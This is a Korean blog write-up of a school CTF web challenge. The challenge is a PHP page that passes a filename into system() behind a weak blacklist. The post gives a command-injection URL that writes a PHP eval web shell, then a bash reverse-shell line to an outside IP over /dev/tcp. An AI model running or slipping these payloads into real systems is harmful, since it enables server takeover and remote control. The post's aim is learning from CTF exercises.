Hacking/Web.

디미고 내부 CTF, TRUSTEALTH CTF System 문제 리버스쉘

2017. 10. 2. 14:29

최근에 디미고 동아리 중에 Trust와 Stealth와 연합해서 CTF를 개최한 적이 있습니다. TRUSTEALTH CTF라는 이름이었는데, 이 CTF의 System 이라는 웹 문제에서 c2m2w2 친구가 리버스쉘을 실행했었다는 얘기를 듣고 저도 시도해보게 되었습니다.


이 CTF가 열렸을 때가 비오비 면담하고 곂쳐서 꽤나 고생했다는...ㅋㅋ


System 문제 Overveiw

문제에 처음 접속했을 때 기본적으로 나오는 화면입니다. 딱봐도 system 함수에서 취약점이 터지는 것을 알 수 있습니다. 

이 문제가 200pt 였는데 ㄹㅇ루다가 10초컷 가능


머 결론부터 말하자면 escapeshellarg() 함수로 $_GET['filename']의 command injection이 가능한 모든 특수문자들을 막을 수 있습니다. 


일단 문제 소스부터 보도록 하져ㅋㅋㅋ


Source

 Command Injection이 가능하기 때문에 cat 명령어로 소스를 볼 수 있습니다. 소스는 다음과 같습니다. 

<html>
<h1>Let's find flag!</h1>
<hr / >
<p style= "color:blue">$File list$(****** is not a file name. This is a file that you must find and read)</p>
<p>hello.php</p>
<p>really.php</p>
<p>exam.php</p>
<p>exam1.php</p>
<p>********</p>
<hr / >
<code>
<span style="color: #0000BB">&lt;?php<br />&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">"Please&nbsp;enter&nbsp;specify&nbsp;the&nbsp;name&nbsp;of&nbsp;the&nbsp;file&nbsp;to&nbsp;show&lt;br&gt;"</span><span style="color: #007700">;<br />&nbsp;</span><span style="color: #0000BB">$file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'filename'</span><span style="color: #007700">];<br />&nbsp;</span><span style="color: #0000BB">system</span><span style="color: #007700">(</span><span style="color: #DD0000">"cat&nbsp;</span><span style="color: #0000BB">$file</span><span style="color: #DD0000">"</span><span style="color: #007700">);<br />&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">?&gt;<br /></span>
</span>
</code>
<hr/>
<?php
 echo "Please enter specify the name of the file to show<br><br>";
 $file = $_GET['filename'];
 if(preg_match("/cd|rm|cp|mv|\//i", $file)) echo("No Hack~");
 else system("cat $file");
?>
</html>
</html>

cd, rm, cp, mv, 그리고 슬래쉬..
다른 명령어는 상관이 없지만, 슬래쉬를 막는게 생각보다 막막했습니다. 

제가 생각했던 방법은 echo 로 웹쉘 파일을 만들고 nc로 reverse shell을 만드는 것이었습니다. 

[url]?filename=;ls;cat+KdQnUv9G.php;echo+"<?php+extract(\$_GET);extract(\$_POST);print_r(\$_GET);eval(\$cmd);+?>" +>+webshell.php;cat+webshell.php;

이렇게 하면 webshell.php 에는 아래와 같은 소스가 들어가게 됩니다. 

<?php extract($_GET);extract($_POST);print_r($_GET);eval($cmd); ?>

이렇게 생성한 webshell.php에 접속하고 커맨드를 입력하면 됩니다. 
system() 함수를 쓰지 않은 이유는 cafe24에서 WAF로 막아서 406 에러가 났기 때문입니다. 

그럼 리버스쉘을 이용해볼까요?
webshell.php?cmd=echo+exec('bash+-i+>%26+/dev/tcp/108.61.161.168/7878+0>%261');
제가 nc를 안쓴 이유는 nc에서 -e 옵션이 되지 않았기 때문입니다.
이렇게 하면


reverse 쉘이 가능해집니다! 

여담

 이 CTF 사이트가 Cafe24에서 호스팅된 서버인데, 리버스쉘을 하자마자 사이트 등록한 본인에게 연락이 갔다고 한다... 사이트 주인은 스텔스 동아리의 동아리장 선배였는데 넘모넘모 눈치보여따,,,,흑,,,ㅠ


'Hacking > Web.' 카테고리의 다른 글

XSS, CSRF 시 세션하이재킹 툴  (0) 2017.10.04
XSS 관련 워게임  (0) 2017.10.02
[퍼옴] secuinside mygf write up  (0) 2017.07.05
Secuinside CTF write up  (0) 2017.07.02
http://u32.jeong.su/dog/  (0) 2017.07.01